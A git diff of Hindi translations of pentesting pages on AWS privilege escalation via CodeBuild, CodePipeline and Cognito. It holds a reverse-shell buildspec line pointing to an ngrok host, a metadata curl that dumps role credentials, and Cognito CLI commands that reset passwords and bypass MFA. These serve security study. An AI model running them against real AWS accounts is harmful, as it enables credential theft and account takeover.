-अधिक जानकारी प्राप्त करें:
+अधिक जानकारी के लिए:
 
 {{#ref}}
-../aws-services/aws-codebuild-enum.md
+../../aws-services/aws-codebuild-enum.md
 {{#endref}}
 
 ### `codebuild:StartBuild` | `codebuild:StartBuildBatch`
 
-इनमें से किसी एक अनुमति के साथ, एक नए buildspec के साथ एक निर्माण को ट्रिगर करना और परियोजना को सौंपे गए iam भूमिका का टोकन चुराना पर्याप्त है:
+इनमें से किसी एक permission के साथ भी नया buildspec इस्तेमाल करके build ट्रिगर करना और project को असाइन किए गए iam role का token चुरा लेना पर्याप्त होता है:
 
 {{#tabs }}
 {{#tab name="StartBuild" }}
@@ -58,19 +58,16 @@ aws codebuild start-build-batch --project  --buildspec-override fi
 {{#endtab }}
 {{#endtabs }}
 
-**नोट**: इन दोनों कमांड के बीच का अंतर यह है:
+**नोट**: इन दोनों कमांड्स के बीच अंतर यह है कि:
 
-- `StartBuild` एक विशिष्ट `buildspec.yml` का उपयोग करके एकल निर्माण कार्य को ट्रिगर करता है।
-- `StartBuildBatch` आपको अधिक जटिल कॉन्फ़िगरेशन के साथ निर्माण के बैच को शुरू करने की अनुमति देता है (जैसे कई निर्माणों को समानांतर में चलाना)।
+- `StartBuild` एक विशिष्ट `buildspec.yml` का उपयोग करके एकल build job को ट्रिगर करता है।
+- `StartBuildBatch` आपको अधिक जटिल कॉन्फ़िगरेशनों के साथ build का एक बैच शुरू करने की अनुमति देता है (जैसे एक साथ कई builds चलाना)।
 
-**संभावित प्रभाव:** जुड़े हुए AWS Codebuild भूमिकाओं के लिए सीधे विशेषाधिकार वृद्धि।
+**संभावित प्रभाव:** जुड़ी हुई AWS Codebuild roles पर प्रत्यक्ष privesc।
 
 ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
 
-एक हमलावर जिसके पास **`iam:PassRole`, `codebuild:CreateProject`, और `codebuild:StartBuild` या `codebuild:StartBuildBatch`** अनुमतियाँ हैं, वह **किसी भी codebuild IAM भूमिका के लिए विशेषाधिकार बढ़ा सकता है** एक चल रही भूमिका बनाकर।
-
-{{#tabs }}
-{{#tab name="Example1" }}
+यदि किसी हमलावर के पास **`iam:PassRole`, `codebuild:CreateProject`, और `codebuild:StartBuild` या `codebuild:StartBuildBatch`** permissions हों, तो वह एक running codebuild बनाकर किसी भी codebuild IAM role के privileges को escalate कर सकेगा।
 ```bash
 # Enumerate then env and get creds
 REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
@@ -171,20 +168,20 @@ Wait a few seconds to maybe a couple minutes and view the POST request with data
 {{#endtab }}
 {{#endtabs }}
 
-**संभावित प्रभाव:** किसी भी AWS Codebuild भूमिका के लिए सीधे प्रिवेस्क।
+**Potential Impact:** किसी भी AWS Codebuild role पर सीधा privesc।
 
 > [!WARNING]
-> एक **Codebuild कंटेनर** में फ़ाइल `/codebuild/output/tmp/env.sh` सभी env vars को शामिल करती है जो **मेटाडेटा क्रेडेंशियल्स** तक पहुँचने के लिए आवश्यक हैं।
+> एक **Codebuild container** में फ़ाइल `/codebuild/output/tmp/env.sh` में सभी env vars होते हैं जो **metadata credentials** को एक्सेस करने के लिए आवश्यक हैं।
 
-> इस फ़ाइल में **env वेरिएबल `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** शामिल है जो क्रेडेंशियल्स तक पहुँचने के लिए **URL पथ** को शामिल करता है। यह कुछ इस तरह होगा `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
+> यह फ़ाइल **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** रखती है जो credentials को एक्सेस करने के लिए **URL path** को रखती है। यह कुछ इस तरह होगा `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
 
-> इसे URL **`http://169.254.170.2/`** में जोड़ें और आप भूमिका के क्रेडेंशियल्स को डंप करने में सक्षम होंगे।
+> उस को URL **`http://169.254.170.2/`** में जोड़ें और आप role credentials को dump कर पाएँगे।
 
-> इसके अलावा, इसमें **env वेरिएबल `ECS_CONTAINER_METADATA_URI`** भी शामिल है जो **कंटेनर के बारे में मेटाडेटा जानकारी प्राप्त करने के लिए पूर्ण URL** को शामिल करता है।
+> इसके अलावा, इसमें **env variable `ECS_CONTAINER_METADATA_URI`** भी होता है जो container के बारे में **metadata info** प्राप्त करने के लिए पूरा URL देता है।
 
 ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
 
-जैसे पिछले अनुभाग में, यदि आप एक निर्माण परियोजना बनाने के बजाय इसे संशोधित कर सकते हैं, तो आप IAM भूमिका को निर्दिष्ट कर सकते हैं और टोकन चुरा सकते हैं।
+पिछले अनुभाग की तरह, अगर आप build project बनाने के बजाय उसे modify कर सकते हैं, तो आप IAM Role निर्दिष्ट कर सकते हैं और token चुरा सकते हैं।
 ```bash
 REV_PATH="/tmp/codebuild_pwn.json"
 
@@ -218,11 +215,11 @@ aws codebuild update-project --name codebuild-demo-project --cli-input-json file
 
 aws codebuild start-build --project-name codebuild-demo-project
 ```
-**संभावित प्रभाव:** किसी भी AWS Codebuild भूमिका के लिए सीधे प्रिवेस्क।
+**संभावित प्रभाव:** सीधा privesc किसी भी AWS Codebuild role पर।
 
 ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
 
-पिछले अनुभाग की तरह लेकिन **`iam:PassRole` अनुमति के बिना**, आप इस अनुमति का दुरुपयोग करके **मौजूदा Codebuild परियोजनाओं को संशोधित कर सकते हैं और उस भूमिका तक पहुंच प्राप्त कर सकते हैं जो पहले से ही असाइन की गई है**।
+पिछले सेक्शन की तरह लेकिन **बिना `iam:PassRole` अनुमति के**, आप इन अनुमतियों का दुरुपयोग करके **मौजूदा Codebuild प्रोजेक्ट्स को संशोधित कर सकते हैं और उन roles तक पहुँच सकते हैं जो पहले से उन्हें असाइन किए गए हैं**।
 
 {{#tabs }}
 {{#tab name="StartBuild" }}
@@ -298,13 +295,13 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
 {{#endtab }}
 {{#endtabs }}
 
-**संभावित प्रभाव:** जुड़े हुए AWS Codebuild भूमिकाओं के लिए सीधे प्रिवेस्क।
+**संभावित प्रभाव:** attached AWS Codebuild roles पर direct privesc.
 
 ### SSM
 
-**SSM सत्र शुरू करने के लिए पर्याप्त अनुमतियाँ होने पर** यह संभव है कि **एक Codebuild प्रोजेक्ट** में प्रवेश किया जा सके जो बनाया जा रहा है।
+यदि आपके पास **enough permissions to start a ssm session** हैं, तो निर्माण के दौरान किसी **Codebuild project** के अंदर जाना संभव है।
 
-Codebuild प्रोजेक्ट में एक ब्रेकपॉइंट होना चाहिए:
+The codebuild project will need to have a breakpoint:
 
 
phases:
 pre_build:
@@ -319,13 +316,13 @@ commands:
 aws codebuild batch-get-builds --ids  --region  --output json
 aws ssm start-session --target  --region 
 ```
-For more info [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
+अधिक जानकारी के लिए [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
 
 ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
 
-एक हमलावर जो एक विशेष CodeBuild प्रोजेक्ट का निर्माण शुरू/पुनः प्रारंभ करने में सक्षम है, जो अपना `buildspec.yml` फ़ाइल एक S3 बकेट पर संग्रहीत करता है, जिस पर हमलावर को लिखने की अनुमति है, CodeBuild प्रक्रिया में कमांड निष्पादन प्राप्त कर सकता है।
+एक attacker जो किसी विशेष CodeBuild प्रोजेक्ट का build start/restart करने में सक्षम है और वह प्रोजेक्ट अपना `buildspec.yml` फ़ाइल उस S3 bucket पर स्टोर करता है जिस पर attacker के पास write access है, CodeBuild प्रक्रिया में command execution प्राप्त कर सकता है।
 
-Note: यह वृद्धि केवल तभी प्रासंगिक है जब CodeBuild कार्यकर्ता की भूमिका हमलावर की भूमिका से अलग हो, उम्मीद है कि अधिक विशेषाधिकार प्राप्त हो।
+नोट: यह escalation केवल तभी प्रासंगिक है जब CodeBuild worker की role attacker की role से अलग हो, और उम्मीद है कि वह अधिक privileged हो।
 ```bash
 aws s3 cp s3:///buildspec.yml ./
 
@@ -342,7 +339,7 @@ aws codebuild start-build --project-name 
 
 # Wait for the reverse shell :)
 ```
-आप **reverse shell** प्राप्त करने के लिए ऐसा कुछ **buildspec** का उपयोग कर सकते हैं:
+आप कुछ इस तरह का **buildspec** उपयोग कर सकते हैं ताकि एक **reverse shell** मिल सके:
 ```yaml:buildspec.yml
 version: 0.2
 
@@ -351,13 +348,13 @@ build:
 commands:
 - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
 ```
-**प्रभाव:** AWS CodeBuild कार्यकर्ता द्वारा उपयोग की जाने वाली भूमिका में सीधे प्रिवेलेज वृद्धि, जो आमतौर पर उच्च प्रिविलेज रखती है।
+**Impact:** AWS CodeBuild worker द्वारा उपयोग किए गए role पर Direct privesc, जो आमतौर पर उच्च privileges रखता है।
 
 > [!WARNING]
-> ध्यान दें कि buildspec को ज़िप प्रारूप में अपेक्षित किया जा सकता है, इसलिए एक हमलावर को डाउनलोड, अनज़िप, रूट निर्देशिका से `buildspec.yml` को संशोधित करना, फिर से ज़िप करना और अपलोड करना होगा।
+> ध्यान दें कि buildspec आमतौर पर zip format में अपेक्षित हो सकता है, इसलिए एक attacker को root directory से `buildspec.yml` डाउनलोड, unzip, modify करके फिर से zip कर के upload करना होगा
 
 अधिक विवरण [यहाँ](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) मिल सकते हैं।
 
-**संभावित प्रभाव:** संलग्न AWS Codebuild भूमिकाओं में सीधे प्रिवेलेज वृद्धि।
+**Potential Impact:** संलग्न AWS Codebuild roles पर Direct privesc।
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
deleted file mode 100644
index ebe9d01b5..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
+++ /dev/null
@@ -1,37 +0,0 @@
-# AWS - Codepipeline Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## codepipeline
-
-कोडपाइपलाइन के बारे में अधिक जानकारी के लिए देखें:
-
-{{#ref}}
-../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
-{{#endref}}
-
-### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution`
-
-कोड पाइपलाइन बनाते समय आप एक **कोडपाइपलाइन IAM भूमिका निर्दिष्ट कर सकते हैं**, इसलिए आप उन्हें समझौता कर सकते हैं।
-
-पिछले अनुमतियों के अलावा, आपको **उस स्थान तक पहुंच की आवश्यकता होगी जहां कोड संग्रहीत है** (S3, ECR, github, bitbucket...)
-
-मैंने यह प्रक्रिया वेब पृष्ठ पर करते हुए परीक्षण किया, पहले निर्दिष्ट अनुमतियाँ कोडपाइपलाइन बनाने के लिए आवश्यक नहीं हैं, लेकिन इसे वेब पर बनाने के लिए आपको भी आवश्यकता होगी: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:`
-
-**बिल्ड प्रोजेक्ट** के निर्माण के दौरान आप एक **कमांड निर्दिष्ट कर सकते हैं** (रिव शेल?) और बिल्ड चरण को **विशेषाधिकार प्राप्त उपयोगकर्ता** के रूप में चलाने के लिए, यही वह कॉन्फ़िगरेशन है जिसकी हमलावर को समझौता करने की आवश्यकता है:
-
-![](<../../../images/image (276).png>)
-
-![](<../../../images/image (181).png>)
-
-### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution`
-
-पिछले अनुमतियों के साथ कोडपाइपलाइन पर उपयोग की जाने वाली भूमिका और निष्पादित कमांड को संशोधित करना संभव हो सकता है।
-
-### `codepipeline:pollforjobs`
-
-[AWS का उल्लेख है](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html):
-
-> जब इस API को कॉल किया जाता है, तो CodePipeline **पाइपलाइन के लिए कलाकृतियों को संग्रहीत करने के लिए उपयोग किए जाने वाले S3 बकेट के लिए अस्थायी क्रेडेंशियल लौटाता है**, यदि क्रिया को इनपुट या आउटपुट कलाकृतियों के लिए उस S3 बकेट तक पहुंच की आवश्यकता होती है। यह API भी **क्रिया के लिए परिभाषित किसी भी गुप्त मानों को लौटाता है**।
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md
new file mode 100644
index 000000000..d133f312f
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md
@@ -0,0 +1,37 @@
+# AWS - Codepipeline Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## codepipeline
+
+For more info about codepipeline check:
+
+{{#ref}}
+../../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
+{{#endref}}
+
+### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution`
+
+जब आप एक code pipeline बनाते हैं, आप एक **codepipeline IAM Role to run** निर्दिष्ट कर सकते हैं, इसलिए आप उन roles को compromise कर सकते हैं।
+
+पिछले permissions के अलावा आपको **access to the place where the code is stored** (S3, ECR, github, bitbucket...) की आवश्यकता होगी।
+
+मैंने इसे web page पर करके टेस्ट किया। पहले बताई गई permissions वे List/Get ones नहीं हैं जो codepipeline बनाने के लिए चाहिए, लेकिन web पर इसे बनाने के लिए आपको साथ में ये भी चाहिए होंगे: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:`
+
+During the **creation of the build project** you can indicate a **command to run** (rev shell?) and to run the build phase as **privileged user**, that's the configuration the attacker needs to compromise:
+
+![](<../../../images/image (276).png>)
+
+![](<../../../images/image (181).png>)
+
+### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution`
+
+पिछले permissions के साथ codepipeline पर उपयोग किए गए role और चलाए जाने वाले command को modify करना संभव हो सकता है।
+
+### `codepipeline:pollforjobs`
+
+[AWS mentions](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html):
+
+> जब इस API को कॉल किया जाता है, CodePipeline वह **S3 bucket के लिए अस्थायी credentials लौटाता है** जिसका उपयोग pipeline के artifacts को स्टोर करने के लिए किया जाता है, यदि उस action को इनपुट या आउटपुट artifacts के लिए उस S3 bucket तक access की आवश्यकता है। यह API action के लिए परिभाषित किसी भी **secret values** को भी लौटाता है।
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
deleted file mode 100644
index 4bb6b286e..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
+++ /dev/null
@@ -1,274 +0,0 @@
-# AWS - Cognito Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Cognito
-
-Cognito के बारे में अधिक जानकारी के लिए देखें:
-
-{{#ref}}
-../aws-services/aws-cognito-enum/
-{{#endref}}
-
-### पहचान पूल से क्रेडेंशियल इकट्ठा करना
-
-चूंकि Cognito **IAM भूमिका क्रेडेंशियल** को **प्रमाणित** और **अप्रमाणित** **उपयोगकर्ताओं** दोनों को प्रदान कर सकता है, यदि आप किसी एप्लिकेशन का **पहचान पूल आईडी** ढूंढ लेते हैं (जो कि इसमें हार्डकोडेड होना चाहिए) तो आप नए क्रेडेंशियल प्राप्त कर सकते हैं और इसलिए प्रिवेस्क (एक AWS खाते के अंदर जहां आपके पास पहले से कोई क्रेडेंशियल नहीं हो सकता)।
-
-अधिक जानकारी के लिए [**इस पृष्ठ को देखें**](../aws-unauthenticated-enum-access/#cognito)。
-
-**संभावित प्रभाव:** अप्रमाणित उपयोगकर्ताओं से जुड़े सेवाओं की भूमिका पर सीधे प्रिवेस्क (और संभवतः प्रमाणित उपयोगकर्ताओं से जुड़े पर)।
-
-### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
-
-इस अनुमति के साथ आप **किसी भी cognito भूमिका** को cognito ऐप के प्रमाणित/अप्रमाणित उपयोगकर्ताओं को **प्रदान** कर सकते हैं।
-```bash
-aws cognito-identity set-identity-pool-roles \
---identity-pool-id  \
---roles unauthenticated=
-
-# Get credentials
-## Get one ID
-aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
-## Get creds for that id
-aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
-```
-यदि cognito ऐप **अनधिकृत उपयोगकर्ताओं को सक्षम नहीं करता** है, तो आपको इसे सक्षम करने के लिए `cognito-identity:UpdateIdentityPool` अनुमति की भी आवश्यकता हो सकती है।
-
-**संभावित प्रभाव:** किसी भी cognito भूमिका के लिए सीधे प्रिवेस्क।
-
-### `cognito-identity:update-identity-pool`
-
-इस अनुमति के साथ एक हमलावर उदाहरण के लिए एक Cognito उपयोगकर्ता पूल सेट कर सकता है जो उसके नियंत्रण में है या किसी अन्य पहचान प्रदाता जहां वह **इस Cognito पहचान पूल** तक पहुँचने के लिए लॉगिन कर सकता है। फिर, उस उपयोगकर्ता प्रदाता पर **लॉगिन** करने से **उसे पहचान पूल में कॉन्फ़िगर की गई प्रमाणित भूमिका तक पहुँचने की अनुमति मिलेगी**।
-```bash
-# This example is using a Cognito User Pool as identity provider
-## but you could use any other identity provider
-aws cognito-identity update-identity-pool \
---identity-pool-id  \
---identity-pool-name  \
-[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
---cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false
-
-# Now you need to login to the User Pool you have configured
-## after having the id token of the login continue with the following commands:
-
-# In this step you should have already an ID Token
-aws cognito-identity get-id \
---identity-pool-id  \
---logins cognito-idp..amazonaws.com/=
-
-# Get the identity_id from thr previous commnad response
-aws cognito-identity get-credentials-for-identity \
---identity-id  \
---logins cognito-idp..amazonaws.com/=
-```
-यह अनुमति का **दुरुपयोग करके बेसिक ऑथ** की अनुमति देना भी संभव है:
-```bash
-aws cognito-identity update-identity-pool \
---identity-pool-id  \
---identity-pool-name  \
---allow-unauthenticated-identities
---allow-classic-flow
-```
-**संभावित प्रभाव**: पहचान पूल के भीतर कॉन्फ़िगर किए गए प्रमाणित IAM भूमिका का समझौता।
-
-### `cognito-idp:AdminAddUserToGroup`
-
-यह अनुमति **एक Cognito उपयोगकर्ता को एक Cognito समूह में जोड़ने** की अनुमति देती है, इसलिए एक हमलावर इस अनुमति का दुरुपयोग करके अपने नियंत्रण में एक उपयोगकर्ता को अन्य समूहों में जोड़ सकता है जिनके पास **बेहतर** विशेषताएँ या **विभिन्न IAM भूमिकाएँ** हैं:
-```bash
-aws cognito-idp admin-add-user-to-group \
---user-pool-id  \
---username  \
---group-name 
-```
-**संभावित प्रभाव:** अन्य Cognito समूहों और User Pool Groups से जुड़े IAM भूमिकाओं के लिए प्रिवेस्क।
-
-### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
-
-इन अनुमतियों के साथ एक हमलावर **समूहों को बना/अपडेट** कर सकता है **हर IAM भूमिका के साथ जिसे एक समझौता किए गए Cognito पहचान प्रदाता द्वारा उपयोग किया जा सकता है** और एक समझौता किए गए उपयोगकर्ता को समूह का हिस्सा बना सकता है, उन सभी भूमिकाओं तक पहुंच प्राप्त कर सकता है:
-```bash
-aws cognito-idp create-group --group-name Hacked --user-pool-id  --role-arn 
-```
-**संभावित प्रभाव:** अन्य Cognito IAM भूमिकाओं के लिए प्रिवेस्क।
-
-### `cognito-idp:AdminConfirmSignUp`
-
-यह अनुमति **साइनअप की पुष्टि** करने की अनुमति देती है। डिफ़ॉल्ट रूप से कोई भी Cognito अनुप्रयोगों में साइन इन कर सकता है, यदि इसे छोड़ दिया जाए, तो एक उपयोगकर्ता किसी भी डेटा के साथ एक खाता बना सकता है और इस अनुमति के साथ इसकी पुष्टि कर सकता है।
-```bash
-aws cognito-idp admin-confirm-sign-up \
---user-pool-id  \
---username 
-```
-**संभावित प्रभाव:** यदि आप एक नया उपयोगकर्ता पंजीकृत कर सकते हैं तो प्रमाणित उपयोगकर्ताओं के लिए पहचान पूल IAM भूमिका के लिए अप्रत्यक्ष प्रिवेस्क। किसी भी खाते की पुष्टि करने में सक्षम होने पर अन्य ऐप कार्यक्षमताओं के लिए अप्रत्यक्ष प्रिवेस्क।
-
-### `cognito-idp:AdminCreateUser`
-
-यह अनुमति एक हमलावर को उपयोगकर्ता पूल के अंदर एक नया उपयोगकर्ता बनाने की अनुमति देगी। नया उपयोगकर्ता सक्षम के रूप में बनाया जाता है, लेकिन इसे अपना पासवर्ड बदलने की आवश्यकता होगी।
-```bash
-aws cognito-idp admin-create-user \
---user-pool-id  \
---username  \
-[--user-attributes ] ([Name=email,Value=email@gmail.com])
-[--validation-data ]
-[--temporary-password ]
-```
-**संभावित प्रभाव:** प्रमाणित उपयोगकर्ताओं के लिए पहचान पूल IAM भूमिका पर सीधे प्रिवेस्क। किसी भी उपयोगकर्ता को बनाने में सक्षम होने के कारण अन्य ऐप कार्यक्षमताओं के लिए अप्रत्यक्ष प्रिवेस्क।
-
-### `cognito-idp:AdminEnableUser`
-
-यह अनुमति एक बहुत ही सीमांत परिदृश्य में मदद कर सकती है जहां एक हमलावर ने एक अक्षम उपयोगकर्ता के क्रेडेंशियल्स पाए हैं और उसे **फिर से सक्षम करने** की आवश्यकता है।
-```bash
-aws cognito-idp admin-enable-user \
---user-pool-id  \
---username 
-```
-**संभावित प्रभाव:** यदि हमलावर के पास एक निष्क्रिय उपयोगकर्ता के लिए क्रेडेंशियल्स हैं, तो प्रमाणित उपयोगकर्ताओं के लिए पहचान पूल IAM भूमिका और उपयोगकर्ता की अनुमतियों के लिए अप्रत्यक्ष प्रिवेस्क।
-
-### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
-
-यह अनुमति [**विधि ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)** के साथ लॉगिन करने की अनुमति देती है। अधिक जानकारी के लिए लिंक का पालन करें।
-
-### `cognito-idp:AdminSetUserPassword`
-
-यह अनुमति एक हमलावर को **किसी भी उपयोगकर्ता का पासवर्ड बदलने** की अनुमति देगी, जिससे वह किसी भी उपयोगकर्ता का अनुकरण कर सकेगा (जिसके पास MFA सक्षम नहीं है)।
-```bash
-aws cognito-idp admin-set-user-password \
---user-pool-id  \
---username  \
---password  \
---permanent
-```
-**संभावित प्रभाव:** सीधे प्रिवेस्क किसी भी उपयोगकर्ता के लिए, इसलिए प्रत्येक उपयोगकर्ता के सदस्यता वाले सभी समूहों तक पहुंच और पहचान पूल प्रमाणित IAM भूमिका तक पहुंच।
-
-### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
-
-**AdminSetUserSettings**: एक हमलावर इस अनुमति का दुरुपयोग करके अपने नियंत्रण में एक मोबाइल फोन को **एक उपयोगकर्ता के SMS MFA** के रूप में सेट कर सकता है।
-```bash
-aws cognito-idp admin-set-user-settings \
---user-pool-id  \
---username  \
---mfa-options 
-```
-**SetUserMFAPreference:** पिछले वाले के समान, यह अनुमति एक उपयोगकर्ता के MFA प्राथमिकताओं को सेट करने के लिए उपयोग की जा सकती है ताकि MFA सुरक्षा को बायपास किया जा सके।
-```bash
-aws cognito-idp admin-set-user-mfa-preference \
-[--sms-mfa-settings ] \
-[--software-token-mfa-settings ] \
---username  \
---user-pool-id 
-```
-**SetUserPoolMfaConfig**: पिछले वाले के समान, यह अनुमति एक उपयोगकर्ता पूल के MFA प्राथमिकताओं को सेट करने के लिए उपयोग की जा सकती है ताकि MFA सुरक्षा को बायपास किया जा सके।
-```bash
-aws cognito-idp set-user-pool-mfa-config \
---user-pool-id  \
-[--sms-mfa-configuration ] \
-[--software-token-mfa-configuration ] \
-[--mfa-configuration ]
-```
-**UpdateUserPool:** यह उपयोगकर्ता पूल को MFA नीति को बदलने के लिए अपडेट करना भी संभव है। [यहाँ cli देखें](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html)।
-
-**Potential Impact:** अप्रत्यक्ष प्रिवेस्क किसी भी उपयोगकर्ता के लिए संभावित है, जिसके क्रेडेंशियल्स का हमलावर को पता है, इससे MFA सुरक्षा को बायपास करने की अनुमति मिल सकती है।
-
-### `cognito-idp:AdminUpdateUserAttributes`
-
-इस अनुमति के साथ एक हमलावर किसी उपयोगकर्ता के नियंत्रण में ईमेल या फोन नंबर या किसी अन्य विशेषता को बदल सकता है ताकि एक अंतर्निहित एप्लिकेशन में अधिक विशेषाधिकार प्राप्त करने की कोशिश की जा सके।\
-यह एक ईमेल या फोन नंबर को बदलने और इसे सत्यापित के रूप में सेट करने की अनुमति देता है।
-```bash
-aws cognito-idp admin-update-user-attributes \
---user-pool-id  \
---username  \
---user-attributes 
-```
-**संभावित प्रभाव:** संभावित अप्रत्यक्ष प्रिवेस्क underlying application में जो कि उपयोगकर्ता विशेषताओं के आधार पर विशेषाधिकार देता है, Cognito User Pool का उपयोग करके।
-
-### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
-
-इस अनुमति के साथ एक हमलावर **एक नया User Pool Client बना सकता है जो पहले से मौजूद pool clients की तुलना में कम प्रतिबंधित है**। उदाहरण के लिए, नया क्लाइंट किसी भी प्रकार के तरीके को प्रमाणित करने की अनुमति दे सकता है, कोई रहस्य नहीं हो सकता, टोकन रद्दीकरण अक्षम हो सकता है, टोकन को लंबे समय तक मान्य रहने की अनुमति दे सकता है...
-
-यदि एक **मौजूदा क्लाइंट को संशोधित किया जाए** तो वही किया जा सकता है।
-
-[**कमांड लाइन**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (या [**अपडेट एक**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) में आप सभी विकल्प देख सकते हैं, इसे चेक करें!
-```bash
-aws cognito-idp create-user-pool-client \
---user-pool-id  \
---client-name  \
-[...]
-```
-**संभावित प्रभाव:** संभावित अप्रत्यक्ष प्रिवेस्क को पहचान पूल के अधिकृत उपयोगकर्ता के लिए उपयोगकर्ता पूल द्वारा एक नए क्लाइंट को बनाने के द्वारा सुरक्षा उपायों को ढीला करना और एक हमलावर को एक उपयोगकर्ता के साथ लॉगिन करने की अनुमति देना जिसे वह बनाने में सक्षम था।
-
-### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`
-
-एक हमलावर इस अनुमति का दुरुपयोग करके नए उपयोगकर्ताओं के साथ एक csv अपलोड करके उपयोगकर्ता बना सकता है।
-```bash
-# Create a new import job
-aws cognito-idp create-user-import-job \
---job-name  \
---user-pool-id  \
---cloud-watch-logs-role-arn 
-
-# Use a new import job
-aws cognito-idp start-user-import-job \
---user-pool-id  \
---job-id 
-
-# Both options before will give you a URL where you can send the CVS file with the users to create
-curl -v -T "PATH_TO_CSV_FILE" \
--H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
-```
-(यदि आप एक नया आयात कार्य बनाते हैं, तो आपको iam passrole अनुमति की भी आवश्यकता हो सकती है, मैंने इसका परीक्षण नहीं किया है)।
-
-**संभावित प्रभाव:** प्रमाणित उपयोगकर्ताओं के लिए पहचान पूल IAM भूमिका तक सीधा प्रिवेस्क। किसी भी उपयोगकर्ता को बनाने की क्षमता के साथ अन्य ऐप कार्यक्षमताओं तक अप्रत्यक्ष प्रिवेस्क।
-
-### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
-
-एक हमलावर एक नया पहचान प्रदाता बना सकता है ताकि वह **इस प्रदाता के माध्यम से लॉगिन कर सके**।
-```bash
-aws cognito-idp create-identity-provider \
---user-pool-id  \
---provider-name  \
---provider-type  \
---provider-details  \
-[--attribute-mapping ] \
-[--idp-identifiers ]
-```
-**संभावित प्रभाव:** प्रमाणित उपयोगकर्ताओं के लिए पहचान पूल IAM भूमिका में सीधे प्रिवेस्क। किसी भी उपयोगकर्ता को बनाने में सक्षम होने के कारण अन्य ऐप कार्यक्षमताओं के लिए अप्रत्यक्ष प्रिवेस्क।
-
-### cognito-sync:\* विश्लेषण
-
-यह पहचान पूल के भूमिकाओं में डिफ़ॉल्ट रूप से एक बहुत सामान्य अनुमति है। भले ही अनुमतियों में वाइल्डकार्ड हमेशा बुरा लगता है (विशेष रूप से AWS से आने पर), **दी गई अनुमतियाँ हमलावर के दृष्टिकोण से सुपर उपयोगी नहीं हैं**।
-
